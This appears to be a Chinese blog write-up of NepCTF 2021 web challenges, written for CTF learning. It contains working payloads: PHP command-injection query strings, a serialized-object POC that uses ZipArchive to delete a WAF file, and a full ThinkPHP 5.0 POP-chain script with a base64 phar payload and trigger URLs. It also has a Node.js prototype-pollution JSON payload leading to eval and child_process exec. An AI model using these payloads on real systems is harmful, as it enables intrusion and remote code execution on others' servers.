参加了今年的NepCTF,题目质量很好,就是周末事情比较多,而且只会php,没有全身心去做,所以当时只做了两道题目,赛后认真看了一下php,因为只会php(我太菜了呜呜呜),主要还是提供思路,还有其他的题目没来及复现,慢慢会写上来。
挺简单的签到题了,不做讲解,只放思路了。
先放一下别的师傅的思路:
?len=-1&nep=echo`nl *`;;
substr那里放-1就可以截取到除去最后一位的字符串,这种思路当时没想到,还是自己太菜了。
我的思路:
?len=7;ls > 1.txt;&nep=`$len`;
利用php的类型转换,无论是intval还是substr,那里处理的都是前面的数字7,但是真正命令执行的却是整个len变量。
简单的反序列化,这题的重点就2个,一个是原生类的反序列化,另外一个就是有长度限制的命令执行。这里首先要删除waf.txt,用到ZipArchive()原生类:
$a = new ZipArchive();
$a->open('1.txt',ZipArchive::OVERWRITE);
// ZipArchive::OVERWRITE: 总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖
// 因为没有保存,所以效果就是删除了1.txt
然后就是9长度限制的命令执行,这题没必要用到4,5,7长度的姿势,9长度可以执行n\l /flag
,POC:
class Game{
public $username;
public $password;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->register="admin";
$this->username='admin';
$this->password='admin';
//$this->file=new ZipArchive();
$this->file=new Open();
$this->filename="shell";
//$this->content=ZipArchive::OVERWRITE;
//$this->content="n\l /flag";
$this->content="";
}
}
class Open{
}
echo base64_encode(serialize(new Game()));
//echo serialize(new Game());
改自网鼎杯2020半决赛的那题,这个比赛的时候我把网鼎杯那题给审了一下复现了,然后比赛结束后再来看了一下这个加强版,感觉好像反而更简单了。
网鼎杯的原题思路请参考我刚写的文章:
[网鼎杯 2020 半决赛]faka
把这题的文件和网鼎杯那题比较了一下,感觉变化大概就是这些(可能有遗漏):
$content = file_get_contents($this->filename);
if(preg_match('/__HALT_COMPILER/i',$content)){
die('dangerous pharfile!!!');
}
接下来就是两种思路,一直是用tp5的 rce直接梭,但是ban了system这些,没ban掉passthru,仍然直接执行:
另一种解法就是phar了,tp5.0的链子之前审过,我直接拿来打发现打不通,把源码看了一下发现我那个链子是tp5.0.24的,可能和tp5.0.14的不一样,我按着源码改了一下链子,生成一下poc:
namespace think\process\pipes{
use think\model\Pivot;
class Windows{
private $files;
public function __construct()
{
$this->files[]=new Pivot();
}
}
}
namespace think{
use think\console\Output;
use think\model\relation\HasOne;
abstract class Model{
protected $append = [];
protected $error;
protected $parent;
public function __construct()
{
$this->append[]="getError";
$this->error=new HasOne();
$this->parent=new Output();
}
}
}
namespace think\model\relation{
use think\console\Output;
use think\db\Query;
class HasOne{
protected $selfRelation;
protected $model;
protected $bindAttr = [];
public function __construct()
{
$this->selfRelation=false;
$this->model="think\console\Output";
$this->bindAttr=array(
'123'=>"feng"
);
}
}
}
namespace think\console{
use think\session\driver\Memcached;
class Output{
private $handle;
protected $styles = [
'info',
'error',
'comment',
'question',
'highlight',
'warning',
"getAttr"
];
public function __construct()
{
$this->handle=new Memcached();
}
}
}
namespace think\session\driver{
use think\cache\driver\File;
class Memcached{
protected $handler;
protected $config = [
'host' => '127.0.0.1', // memcache主机
'port' => 11211, // memcache端口
'expire' => 3600, // session有效期
'timeout' => 0, // 连接超时时间(单位:毫秒)
'session_name' => '1', // memcache key前缀
'username' => '', //账号
'password' => '', //密码
];
public function __construct()
{
$this->handler=new File();
}
}
}
namespace think\cache\driver{
class File{
protected $tag;
protected $options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => "",
'path' => "php://filter/write=string.rot13/resource=/var/www/html/static/upload/",
'data_compress' => false,
];
public function __construct()
{
$this->tag="1";
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace{
use think\process\pipes\Windows;
$a=new Windows();
@unlink("phar.jpg");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
$b=file_get_contents("phar.phar");
echo str_replace("+","%2B",base64_encode($b));
//echo str_replace("+","2b",base64_encode(serialize(new Windows())));
}
文件的写入是application/admin/controller/Index.php的version_update()方法:
直接post或者get传参,然后写到version_update.lock,只不过看来只能写一次,有些鸡肋,但是至少写起来不会出错:
/admin/index/version_update
version_hash=PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8%2BDQphBAAAAQAAABEAAAABAAAAAAArBAAATzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7aTowO3M6ODoiZ2V0RXJyb3IiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjM6e3M6MTU6IgAqAHNlbGZSZWxhdGlvbiI7YjowO3M6ODoiACoAbW9kZWwiO3M6MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjtzOjExOiIAKgBiaW5kQXR0ciI7YToxOntpOjEyMztzOjQ6ImZlbmciO319czo5OiIAKgBwYXJlbnQiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjI4OiIAdGhpbmtcY29uc29sZVxPdXRwdXQAaGFuZGxlIjtPOjMwOiJ0aGlua1xzZXNzaW9uXGRyaXZlclxNZW1jYWNoZWQiOjI6e3M6MTA6IgAqAGhhbmRsZXIiO086MjM6InRoaW5rXGNhY2hlXGRyaXZlclxGaWxlIjoyOntzOjY6IgAqAHRhZyI7czoxOiIxIjtzOjEwOiIAKgBvcHRpb25zIjthOjU6e3M6NjoiZXhwaXJlIjtpOjA7czoxMjoiY2FjaGVfc3ViZGlyIjtiOjA7czo2OiJwcmVmaXgiO3M6MDoiIjtzOjQ6InBhdGgiO3M6ODc6InBocDovL2ZpbHRlci93cml0ZT1zdHJpbmcucm90MTMvcmVzb3VyY2U9L3Zhci93d3cvaHRtbC9zdGF0aWMvdXBsb2FkLzw/Y3VjIGN1Y3Zhc2IoKTs/PiI7czoxMzoiZGF0YV9jb21wcmVzcyI7YjowO319czo5OiIAKgBjb25maWciO2E6Nzp7czo0OiJob3N0IjtzOjk6IjEyNy4wLjAuMSI7czo0OiJwb3J0IjtpOjExMjExO3M6NjoiZXhwaXJlIjtpOjM2MDA7czo3OiJ0aW1lb3V0IjtpOjA7czoxMjoic2Vzc2lvbl9uYW1lIjtzOjE6IjEiO3M6ODoidXNlcm5hbWUiO3M6MDoiIjtzOjg6InBhc3N3b3JkIjtzOjA6IiI7fX1zOjk6IgAqAHN0eWxlcyI7YTo3OntpOjA7czo0OiJpbmZvIjtpOjE7czo1OiJlcnJvciI7aToyO3M6NzoiY29tbWVudCI7aTozO3M6ODoicXVlc3Rpb24iO2k6NDtzOjk6ImhpZ2hsaWdodCI7aTo1O3M6Nzoid2FybmluZyI7aTo2O3M6NzoiZ2V0QXR0ciI7fX19fX0IAAAAdGVzdC50eHQEAAAAv51YYAQAAAAMfn/YtgEAAAAAAAB0ZXN00zSmuV5kbkgHqn/cm5gEy1wUs4sCAAAAR0JNQg==
然后那边再base64解密写一下:
/wechat/review/img?url=php://filter/convert.base64-decode/resource=./runtime/version_update.lock
再phar读,就可以生成了:
/wechat/review/img?url=phar://./static/upload/tmp/df99950f0aaec9c8/3084726b18a3d40c.jpg
我这是phpinfo的payload,命令执行可以再改一下最上面的POC链。
至于写入的文件名,我也懒得去推了,我在自己本地打一遍,就知道文件名是什么了。
如果phar打遇到什么问题,就自己本地搭环境测试,遇到问题打断点或者慢慢调试就可以了。
总的来说这题还是很有意思的,主要还是tp5的rce没被ban的话,就可以直接利用tp5的rce来打,会方便很多,这题phar还是很有意思的。
当时比赛的时候看到要一直换ip就很烦,就没做了。
首先是imagin来命令执行,但是传了之后提示lie,还需要nepnep=phpinfo();
之后又提示要post传HuaiNvRenPaPaPa,因此再传post:HuaiNvRenPaPaPa=1
就可以在phpinfo中找到flag:
但是这不是预期解,预期解的话以后有空再看了,我也没那么多的节点,如果有时间的话折腾一下官方wp说的那个腾讯的云函数,再来复现这题的预期解。
最近刚学了一天的node.js,看这题看的也蛮费劲的,出题人预期解的思路等我学完了node.js再来复现,暂时复现一下非预期,参考了Y4师傅的文章:
NepCTF2021-Web部分(除画皮)
大致看了一下,有三个路由,其中/record是有用的路由:
async function record(req, res, next) {
new Promise(function (resolve, reject) {
var record = new Record();
var score = req.body.score;
if (score.length < String(highestScore).length) {
merge(record, {
lastScore: score,
maxScore: Math.max(parseInt(score),record.maxScore),
lastTime: new Date().toString()
});
highestScore = highestScore > parseInt(score) ? highestScore : parseInt(score);
if ((score - highestScore) < 0) {
var banner = "不好,没有精神!";
} else {
var banner = unserialize(serialize_banner).banner;
}
}
res.json({
banner: banner,
record: record
});
}).catch(function (err) {
next(err)
})
}
幸好我还是知道原型链污染的,看到了merge函数,肯定还是需要进行原型链污染了。post传score,看到用了score.length
,传个json{"score":{"length":1}}
,就可以绕过length的检测。而且这样正好可以绕过这个if:if ((score - highestScore) < 0) {
,因为这里的score是NAN,即 Not a Number,因此正好返回false,进入var banner = unserialize(serialize_banner).banner;
。
var unserialize = function(obj) {
obj = JSON.parse(obj);
if (typeof obj === 'string') {
return obj;
}
var key;
for(key in obj) {
if(typeof obj[key] === 'string') {
if(obj[key].indexOf(FUNCFLAG) === 0) {
var func_code=obj[key].substring(FUNCFLAG.length);
if (validCode(func_code)){
var d = '(' + func_code + ')';
obj[key] = eval(d);
}
}
}
}
return obj;
};
看到存在obj[key] = eval(d);
,可以进行js代码的执行。看一下逻辑,先把var serialize_banner = '{"banner":"好,很有精神!"}';
把json字符串转换成对象,然后遍历key,如果值是以_$$ND_FUNC$$_
开头,就会取剩下的部分,如果通过了validCode检测,就会进入eval了。
因此思路比较清晰了,就是进行原型链污染,使得obj[key]
可控,然后执行js命令:
{
"score":{
"length":1,"__proto__":{
"__proto__":{
"a":"_$$ND_FUNC$$_xxxxx"}}}}
之所以要污染两次,就是因为record.__proto__
并不是object,本地测试发现__proto__.__proto__
才是(但是好像师傅们都知道。。。看来这是javascript的一些知识了,得去补一下。),record.__proto__
其实也是指向Record.prototype
:
每个函数都有prototype(原型)属性,这个属性是一个指针,指向一个对象,这个对象的用途是包含特定类型的所有实例共享的属性和方法,即这个原型对象是用来给实例共享属性和方法的。
因此要二次污染才能污染到object。
接下来就是进行代码的执行了,要想执行命令的话网上可以查到,类似这样的操作,利用node.js的child_process模块:
require('child_process').exec('calc');
global.process.mainModule.constructor._load('child_process').exec('calc')
但是这题进行了过滤,但是没过滤掉\
,因此可以用十六进制来绕过,也是非预期了,因为没有回显,也是需要盲注,盲注的脚本也就不放了,Y4师傅的博客里已经写了,可以去Y4师傅的博客里看看(强行给可爱的Y4师傅引一波流)。